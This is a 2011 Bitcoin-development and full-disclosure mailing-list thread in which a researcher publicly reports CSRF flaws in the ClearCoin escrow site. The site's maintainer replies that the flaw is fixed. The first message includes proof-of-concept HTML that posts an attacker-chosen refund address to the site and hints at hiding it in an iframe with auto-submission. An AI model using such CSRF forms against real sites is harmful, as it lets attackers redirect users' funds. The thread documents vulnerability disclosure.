* [Bitcoin-development] Bitcoin fun day!
@ 2011-06-19 21:54 Doug Huff
2011-06-19 22:33 ` Gavin Andresen
0 siblings, 1 reply; 3+ messages in thread
From: Doug Huff @ 2011-06-19 21:54 UTC (permalink / raw)
To: full-disclosure; +Cc: Bitcoin Dev
[-- Attachment #1.1: Type: text/plain, Size: 1367 bytes --]
In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing but making them more prevalent.
In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
<body>
<form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address" method="POST">
<label for="refund_address">Your bitcoin address:</label>
<input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> (required)
</form>
</body>
</html>
==========
Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.
You should know better Gavin.
--
Douglas Huff
[-- Attachment #1.2: smime.p7s --]
[-- Type: application/pkcs7-signature, Size: 3737 bytes --]
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 881 bytes --]
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [Bitcoin-development] Bitcoin fun day!
2011-06-19 21:54 [Bitcoin-development] Bitcoin fun day! Doug Huff
@ 2011-06-19 22:33 ` Gavin Andresen
2011-06-19 22:36 ` Douglas Huff
0 siblings, 1 reply; 3+ messages in thread
From: Gavin Andresen @ 2011-06-19 22:33 UTC (permalink / raw)
To: Doug Huff; +Cc: Bitcoin Dev, full-disclosure
Some of us take private disclosures of vulnerabilities very seriously.
In any case, the ClearCoin CSRF vulnerability is fixed. Thank you for
bringing it to my attention.
On Sun, Jun 19, 2011 at 5:54 PM, Doug Huff <dhuff@jrbobdobbs•org> wrote:
> In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
>
> This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
--
--
Gavin Andresen
http://clearcoin.com/
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [Bitcoin-development] Bitcoin fun day!
2011-06-19 22:33 ` Gavin Andresen
@ 2011-06-19 22:36 ` Douglas Huff
0 siblings, 0 replies; 3+ messages in thread
From: Douglas Huff @ 2011-06-19 22:36 UTC (permalink / raw)
To: Gavin Andresen; +Cc: Bitcoin Dev, full-disclosure
[-- Attachment #1: Type: text/plain, Size: 807 bytes --]
I know. Please do not take this as a personal attack. Blame MagicalTux's
irresponsible behaviour as of late. :(
On Jun 19, 2011 5:34 PM, "Gavin Andresen" <gavinandresen@gmail•com> wrote:
> Some of us take private disclosures of vulnerabilities very seriously.
>
> In any case, the ClearCoin CSRF vulnerability is fixed. Thank you for
> bringing it to my attention.
>
> On Sun, Jun 19, 2011 at 5:54 PM, Doug Huff <dhuff@jrbobdobbs•org> wrote:
>> In light of this decision I would like to report multiple CSRF
vulnerabilities in http://clearcoin.appspot.com .
>>
>> This set of CSRFs are particularly nasty since this is hosted on appspot
and uses google account auth. So long as you stay logged into your google
account you are vulnerable to this CSRF.
>
>
> --
> --
> Gavin Andresen
> http://clearcoin.com/
[-- Attachment #2: Type: text/html, Size: 1173 bytes --]
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2011-06-19 22:36 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2011-06-19 21:54 [Bitcoin-development] Bitcoin fun day! Doug Huff
2011-06-19 22:33 ` Gavin Andresen
2011-06-19 22:36 ` Douglas Huff
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox